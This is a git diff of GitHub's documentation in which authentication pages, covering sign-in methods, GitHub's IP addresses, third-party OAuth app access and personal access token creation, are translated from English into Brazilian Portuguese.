-- If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} If you're not a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate using your browser on {% data variables.product.prodname_dotcom_the_website %}. 
+- Se você for um integrante de um {% data variables.product.prodname_emu_enterprise %}, você irá efetuar a autenticação em {% data variables.product.product_name %} no seu navegador usando seu IdP. Para obter mais informações, consulte "[Efetuando a autenticação como um usuário gerenciado](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user)){% ifversion fpt %}" na documentação {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %} Se você não é um integrante de {% data variables.product.prodname_emu_enterprise %}, você irá efetuar a autenticação usando seu navegador em {% data variables.product.prodname_dotcom_the_website %}.
 {% endif %}
 
-- **Username and password only**
-    - You'll create a password when you create your user account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)."
-- **Two-factor authentication (2FA)** (recommended)
-    - If you enable 2FA, we'll also prompt you to provide a code that's generated by an application on your mobile device or sent as a text message (SMS) after you successfully enter your username and password. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)."
-    - In addition to authentication with a mobile application or a text message, you can optionally add a secondary method of authentication with a security key using WebAuthn. For more information, see "[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+- **Apenas nome de usuário e senha**
+    - Você criará uma senha ao criar sua conta de usuário em {% data variables.product.product_name %}. Recomendamos que você use um gerenciador de senhas para gerar uma senha aleatória e única. Para obter mais informações, consulte "[Criar uma senha forte](/github/authenticating-to-github/creating-a-strong-password)".
+- **Autenticação de dois fatores (2FA)** (recomendado)
+    - Se você habilitar a 2FA, também iremos solicitar que você forneça um código gerado por um aplicativo no seu dispositivo móvel ou enviado como uma mensagem de texto (SMS) depois que você digitar seu nome de usuário e senha com sucesso. Para obter mais informações, consulte "[Acessar o {% data variables.product.prodname_dotcom %} usando a autenticação de dois fatores](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)".
+    - Além de autenticação com um aplicativo para celular ou uma mensagem de texto. você pode, opcionalmente, adicionar um método secundário de autenticação com uma chave de segurança usando o WebAuthn. Para obter mais informações, consulte "[Configurar a autenticação de dois fatores usando uma chave de segurança](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)".
 {% endif %}
 
-## Authenticating with {% data variables.product.prodname_desktop %}
+## Efetuar a autenticação com {% data variables.product.prodname_desktop %}
 
-You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)."
+Você pode efetuar a autenticação com o {% data variables.product.prodname_desktop %} usando seu navegador. Para obter mais informações, consulte "
 
-## Authenticating with the API
+Autenticar-se no {% data variables.product.prodname_dotcom %}."</p> 
 
-You can authenticate with the API in different ways.
 
-- **Personal access tokens** 
-    - In limited situations, such as testing, you can use a personal access token to access the API. Using a personal access token enables you to revoke access at any time. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-- **Web application flow**
-    - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)."
-- **GitHub Apps**
-    - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)."
 
-## Authenticating with the command line
+## Efetuar a autenticação com a API
+
+Você pode efetuar a autenticação com a API de diferentes formas.
+
+- **Tokens de acesso pessoal** 
+      - Em algumas situações, como, por exemplo, testes, você pode usar um token de acesso pessoal para acessar a API. Usar um token de acesso pessoal permite que você revogue o acesso a qualquer momento. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
+- **Fluxo do aplicativo web** 
+      - Para aplicativos OAuth em produção, você deve efetuar a autenticação usando o fluxo do aplicativo web. Para obter mais informações, consulte "[Autorizar aplicativos OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)".
+- **Aplicativos do GitHub** 
+      - Para aplicativos GitHub em produção, você deve efetuar a autenticação em nome da instalação do aplicativo. Para obter mais informações, consulte "[Efetuando a autenticação com o {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)".
+
+
+
+## Efetuando a autenticação com a linha de comando
+
+Você pode acessar repositórios no {% data variables.product.product_name %} pela linha de comando de duas maneiras, HTTPS e SSH. Ambos têm uma maneira diferente de efetuar a autenticação. O método de autenticação é determinado com base na escolha de uma URL remota de HTTPS ou SSH quando você clonar o repositório. Para obter mais informações sobre qual maneira acessar, consulte "[Sobre repositórios remotos](/github/getting-started-with-github/about-remote-repositories)".
+
 
-You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
 
 ### HTTPS
 
-You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy. 
+Você pode trabalhar com todos os repositórios no {% data variables.product.product_name %} por meio de HTTPS, mesmo que você esteja atrás de um firewall ou proxy. 
+
+Se você fizer a autenticação com {% data variables.product.prodname_cli %}, você poderá efetuar a autenticação com um token de acesso pessoal ou por meio do navegador web. Para mais informações sobre a autenticação com {% data variables.product.prodname_cli %}, consulte [`login gh`](https://cli.github.com/manual/gh_auth_login).
+
+Se você efetuar a autenticação sem {% data variables.product.prodname_cli %}, você deverá efetuar a autenticação com um token de acesso pessoal. {% data reusables.user_settings.password-authentication-deprecation %} Sempre que você usar o Git para efetuar a autenticação com {% data variables.product.product_name %}, será solicitado que você insira as suas credenciais para efetuar a autenticação com {% data variables.product.product_name %}, a menos que você faça o armazenamento em cache de um [auxiliar de credenciais](/github/getting-started-with-github/caching-your-github-credentials-in-git).
 
-If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
 
-If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a personal access token. {% data reusables.user_settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your credentials to authenticate with {% data variables.product.product_name %}, unless you cache them a [credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git).
 
 ### SSH
 
-You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxys might refuse to allow SSH connections.
+Você pode trabalhar com todos os repositórios no {% data variables.product.product_name %} por meio de SSH, embora os firewalls e proxys possam se recusar a permitir conexões de SSH.
 
-If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Then, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+Se você efetuar a autenticação com {% data variables.product.prodname_cli %}, a CLI encontrará chaves públicas SSH no seu computador e solicitará que você selecione uma para upload. Se {% data variables.product.prodname_cli %} não encontrar uma chave pública SSH para o upload, ele poderá gerar um novo SSH público/privado e fazer o upload da chave pública para a sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Em seguida, você pode efetuar a autenticação com um token de acesso pessoal ou por meio do navegador web. Para mais informações sobre a autenticação com {% data variables.product.prodname_cli %}, consulte [`login gh`](https://cli.github.com/manual/gh_auth_login).
 
-If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent).
+Se você efetuar a autenticação sem {% data variables.product.prodname_cli %}, você deverá gerar um conjunto de chaves pública/privada no seu computador local e adicionar a chave pública à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obter mais informações, consulte "[Gerar uma nova chave SSH e adicioná-la ao ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)". Sempre que usar o Git para efetuar a autenticação com {% data variables.product.product_name %}, será solicitado que você digite a senha da sua chave SSH, a menos que você [tenha armazenado a chave](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent).
 
-### Authorizing for SAML single sign-on
 
-{% ifversion fpt or ghec %}To use a personal access token or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+### Autorizando para logon único SAML
+
+{% ifversion fpt or ghec %}Para usar um token de acesso pessoal ou chave SSH para acessar os recursos que pertencem a uma organização que usa o logon único SAML, você também deve autorizar o token pessoal ou chave SSH. Para mais informações, consulte "[Autorizando um token de acesso pessoal para usar com logon único SAML ](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" ou "[Autorizando uma chave SSH para usar com o logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}{% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## {% data variables.product.company_short %}'s token formats
 
-{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type.
 
-| Token type | Prefix | More information |
-| :- | :- | :- |
-| Personal access token | `ghp_` | "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" |
-| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" |
-| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" |
-| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" |
-| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" |
+## Formatos de token de {% data variables.product.company_short %}
+
+{% data variables.product.company_short %} emite tokens que começam com um prefixo para indicar o tipo do token.
+
+| Tipo de token                                                                             | Prefixo | Mais informações                                                                                                                                                |
+|:----------------------------------------------------------------------------------------- |:------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Token de acesso de pessoal                                                                | `ghp_`  | "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)"                                                       |
+| Token de acesso do OAuth                                                                  | `gho_`  | "[Autorizar {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)"                                                       |
+| Token de usuário para servidor para um {% data variables.product.prodname_github_app %} | `ghu_`  | "[Identificar e autorizar usuários em {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" |
+| Token de servidor para usuário para {% data variables.product.prodname_github_app %}    | `ghs_`  | "[Autenticar com {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)"      |
+| Atualizar token para um {% data variables.product.prodname_github_app %}                | `ghr_`  | "[Atualizar tokens de acesso do usuário para servidor](/developers/apps/refreshing-user-to-server-access-tokens)"                                               |
+
 
 {% endif %}
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
index 480901f678..417370582f 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub's IP addresses
-intro: '{% data variables.product.product_name %} serves applications from multiple IP address ranges, which are available using the API.'
+title: Sobre os endereços IP do GitHub
+intro: 'O {% data variables.product.product_name %} atende a aplicativos de vários intervalos de endereços IP, que são disponibilizados usando a API.'
 redirect_from:
   - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist
   - /categories/73/articles
@@ -16,25 +16,25 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: GitHub's IP addresses
+shortTitle: Endereços IP do GitHub
 ---
 
-You can retrieve a list of {% data variables.product.prodname_dotcom %}'s IP addresses from the [meta](https://api.github.com/meta) API endpoint. For more information, see "[Meta](/rest/reference/meta)."
+Você pode recuperar uma lista de endereços IP do {% data variables.product.prodname_dotcom %} no ponto de extremidade da API [meta](https://api.github.com/meta). Para obter mais informações, consulte "[Meta](/rest/reference/meta)".
 
 {% note %}
 
-**Note:** The list of {% data variables.product.prodname_dotcom %} IP addresses returned by the Meta API is not intended to be an exhaustive list. For example, IP addresses for some {% data variables.product.prodname_dotcom %} services might not be listed, such as LFS or {% data variables.product.prodname_registry %}.
+**Observação:** A lista de endereços de IP de {% data variables.product.prodname_dotcom %} retornados pela Meta API não pretende ser uma lista taxativa. Por exemplo, endereços IP para alguns serviços de {% data variables.product.prodname_dotcom %} não podem ser listados, como LFS ou {% data variables.product.prodname_registry %}.
 
 {% endnote %}
 
-These IP addresses are used by {% data variables.product.prodname_dotcom %} to serve our content, deliver webhooks, and perform hosted {% data variables.product.prodname_actions %} builds.
+Esses endereços IP são usados por {% data variables.product.prodname_dotcom %} para fornecer nosso conteúdo, webhooks e executar compilações de {% data variables.product.prodname_actions %} hospedadas.
 
-These ranges are in [CIDR notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). You can use an online conversion tool such as this  [CIDR / VLSM Supernet Calculator](http://www.subnet-calculator.com/cidr.php) to convert from CIDR notation to IP address ranges.
+Esses intervalos estão na [notação CIDR](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). É possível usar uma ferramenta de conversão online, como essa [Calculadora Supernet CIDR/VLSM](http://www.subnet-calculator.com/cidr.php), para fazer a conversão de notação CIDR em intervalos de endereços IP.
 
-We make changes to our IP addresses from time to time. We do not recommend allowing by IP address, however if you use these IP ranges we strongly encourage regular monitoring of our API.
+Nós alteramos nossos endereços IP de vez em quando. Não recomendamos permitir por endereço IP. No entanto, se você usar esses intervalos de IP, é altamente recomendável o monitoramento regular da nossa API.
 
-For applications to function, you must allow TCP ports 22, 80, 443, and 9418 via our IP ranges for `github.com`.
+Para que os aplicativos funcionem, você deve permitir portas TCP 22, 80, 443 e 9418 por meio de nossos intervalos IP para `github.com`.
 
-## Further reading
+## Leia mais
 
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"
+- "[Solucionar problemas de conectividade](/articles/troubleshooting-connectivity-problems)"
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
index e70e25bdd2..94e7f314de 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting with third-party applications
-intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+title: Conectar-se a aplicativos de terceiros
+intro: 'Você pode conectar sua identidade do {% data variables.product.product_name %} a aplicativos de terceiros usando o OAuth. Ao autorizar um desses aplicativos, você deve ter certeza de que se trata de um aplicativo confiável, examinar por quem ele foi desenvolvido e analisar os tipos de informação que o aplicativo quer acessar.'
 redirect_from:
   - /articles/connecting-with-third-party-applications
   - /github/authenticating-to-github/connecting-with-third-party-applications
@@ -13,65 +13,66 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Third-party applications
+shortTitle: Aplicativos de terceiros
 ---
-When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
 
-## Contacting the application developer
+Quando um aplicativo de terceiro quiser identificar você pelo seu login do {% data variables.product.product_name %}, será exibida uma página com as informações de contato do desenvolvedor e uma lista dos dados específicos que estão sendo solicitados.
 
-Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
+## Contatar o desenvolvedor do aplicativo
 
-![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
+Como o aplicativo é desenvolvido por um terceiro que não é o {% data variables.product.product_name %}, não sabemos exatamente como o aplicativo usa os dados para os quais está solicitando acesso. Você pode usar as informações do desenvolvedor no topo da página para contatar o administrador do aplicativo se tiver dúvidas sobre o aplicativo.
 
-If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
+![Informações de proprietário do {% data variables.product.prodname_oauth_app %}](/assets/images/help/platform/oauth_owner_bar.png)
 
-![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
+Se o desenvolvedor tiver optador por fornecê-lo, o lado direito da página fornecerá uma descrição detalhada do aplicativo, bem como seu site associado.
 
-## Types of application access and data
+![Informações de aplicativo e site do OAuth](/assets/images/help/platform/oauth_app_info.png)
 
-Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
+## Tipos de acesos e dados do aplicativo
 
-- **Read access** only allows an application to *look at* your data.
-- **Write access** allows an application to *change* your data.
+Os aplicativos podem ter acesso de *leitura* ou *gravação* aos seus dados no {% data variables.product.product_name %}.
 
-### About OAuth scopes
+- O **acesso de leitura** permite que um aplicativo apenas *observe* os dados.
+- O **acesso de gravação** permite que um aplicativo *altere* os dados.
 
-*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
+### Sobre os escopos do OAuth
 
-When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+Os *escopos* são grupos nomeados de permissões que um aplicativo pode solicitar para acessar dados públicos e não públicos.
+
+Quando você quiser usar um aplicativo de terceiro que se integre ao {% data variables.product.product_name %}, esse aplicativo permitirá que você saiba qual tipo de acesso aos seus dados será necessário. Se você conceder acesso ao aplicativo, este poderá executar ações em seu nome, como ler ou modificar os dados. Por exemplo, se você desejar usar um app que solicite o escopo `user:email`, o app terá acesso somente leitura aos seus endereços de e-mail privados. Para obter mais informações, consulte "[Sobre escopos para {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)".
 
 {% tip %}
 
-**Note:** Currently, you can't scope source code access to read-only.
+**Observação:** no momento, não é possível usar o escopo de acesso de código-fonte para somente leitura.
 
 {% endtip %}
 
-### Types of requested data
+### Tipos de dados solicitados
 
-There are several types of data that applications can request.
+Há vários tipos de dados que os aplicativos podem solicitar.
 
-![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
+![Detalhes de acesso do OAuth](/assets/images/help/platform/oauth_access_types.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**Dica:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 
 {% endtip %}
 
-| Type of data | Description |
-| --- | --- |
-| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
-| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
-| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
-| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
-| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
-| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
-| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
-| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
-| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
+| Tipos de dados            | Descrição                                                                                                                                                                                                                                                                                                                                                                                                   |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Status do commit          | Você pode conceder acesso para que um aplicativo de terceiro relate seu status de commit. O acesso ao status do commit permite que os aplicativos determinem se uma compilação foi bem-sucedida em relação a um commit específico. Os apps não terão acesso ao seu código, mas <em>poderão</em> ler e gravar informações de status em relação a um commit específico.                                |
+| Implantações              | O acesso ao status de implantação permite que os aplicativos determinem se uma implantação é bem-sucedida com um commit específico para um repositório. Os aplicativos não terão acesso ao seu código.                                                                                                                                                                                                      |
+| Gists                     | [O acesso Gist](https://gist.github.com) permite que aplicativos leiam ou gravem em {% ifversion not ghae %} nos seus Gists tanto o seu público quanto{% else %}tanto interno quanto{% endif %} e secretos.                                                                                                                                                                                                 |
+| Hooks                     | O acesso aos [webhooks](/webhooks) permite que os aplicativos leiam ou gravem configurações de hook em repositórios que você gerencia.                                                                                                                                                                                                                                                                      |
+| Notificações              | O acesso às notificações permite que os aplicativos leiam suas notificações de {% data variables.product.product_name %}, como, por exemplo, comentários em problemas e pull requests. No entanto, os aplicativos continuam sem poder acessar nada nos repositórios.                                                                                                                                        |
+| Organizações e equipes    | O acesso às organizações e equipes permite que os apps acessem e gerenciem a associação à organização e à equipe.                                                                                                                                                                                                                                                                                           |
+| Dados pessoais do usuário | Os dados do usuário incluem informações encontradas no seu perfil de usuário, como nome, endereço de e-mail e localização.                                                                                                                                                                                                                                                                                  |
+| Repositórios              | As informações de repositório incluem os nomes dos contribuidores, os branches que você criou e os arquivos reais dentro do repositório. Uma aplicação pode solicitar acesso a todos os seus repositórios de qualquer nível de visibilidade. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". |
+| Exclusão de repositório   | Os aplicativos podem solicitar a exclusão de repositórios que você administra, mas não terão acesso ao seu código.                                                                                                                                                                                                                                                                                          |
 
-## Requesting updated permissions
+## Solicitar permissões atualizadas
 
-Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
+Os aplicativos podem solicitar novos privilégios de acesso. Ao solicitar permissões atualizadas, o aplicativo notificará você das diferenças.
 
-![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
+![Alterar acesso de aplicativo de terceiro](/assets/images/help/platform/oauth_existing_access_pane.png)
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
index da65603203..80949adc4d 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a personal access token
-intro: You should create a personal access token to use in place of a password with the command line or with the API.
+title: Criar um token de acesso pessoal
+intro: Você deve criar um token de acesso pessoal para usar no lugar de uma senha com a linha de comando ou com a API.
 redirect_from:
   - /articles/creating-an-oauth-token-for-command-line-use
   - /articles/creating-an-access-token-for-command-line-use
@@ -16,68 +16,65 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a PAT
+shortTitle: Criar um PAT
 ---
 
 {% note %}
 
-**Note:** If you use {% data variables.product.prodname_cli %} to authenticate to {% data variables.product.product_name %} on the command line, you can skip generating a personal access token and authenticate via the web browser instead. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+**Observação:** Se você usar {% data variables.product.prodname_cli %} para efetuar a autenticação para {% data variables.product.product_name %} na linha de comando você poderá ignorar a geração de um token de acesso pessoal e efetuar a autenticação por meio da web. Para mais informações sobre a autenticação com {% data variables.product.prodname_cli %}, consulte [`login gh`](https://cli.github.com/manual/gh_auth_login).
 
 {% endnote %}
 
-Personal access tokens (PATs) are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line).
+Os tokens de acesso pessoal (PATs) são uma alternativa para o uso de senhas para autenticação no {% data variables.product.product_name %} ao usar a [API do GitHub](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) ou a [linha de comando](#using-a-token-on-the-command-line).
 
-{% ifversion fpt or ghec %}If you want to use a PAT to access resources owned by an organization that uses SAML SSO, you must authorize the PAT. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}Se você deseja usar um PAT para acessar recursos que pertencem a uma organização que usa o SAML SSO, você deverá autorizar o PAT. Para obter mais informações, consulte "[Sobre a autenticação com o logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" e "[Autorizando um token de acesso pessoal para uso com logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}{% endif %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-A token with no assigned scopes can only access public information. To use your token to access repositories from the command line, select `repo`. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
+Um token com nenhum escopo atribuído só pode acessar informações públicas. Para usar seu token para acessar repositórios da linha de comando, selecione `repo`. Para obter mais informações, consulte "[Escopos disponíveis](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
 
-## Creating a token
+## Criar um token
 
-{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% ifversion fpt or ghec %}1. [Verifique seu endereço de e-mail](/github/getting-started-with-github/verifying-your-email-address), caso ainda não o tenha verificado.{% endif %}
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
 {% data reusables.user_settings.generate_new_token %}
-5. Give your token a descriptive name.
-   ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
-   ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
-7. Select the scopes, or permissions, you'd like to grant this token. To use your token to access repositories from the command line, select **repo**.
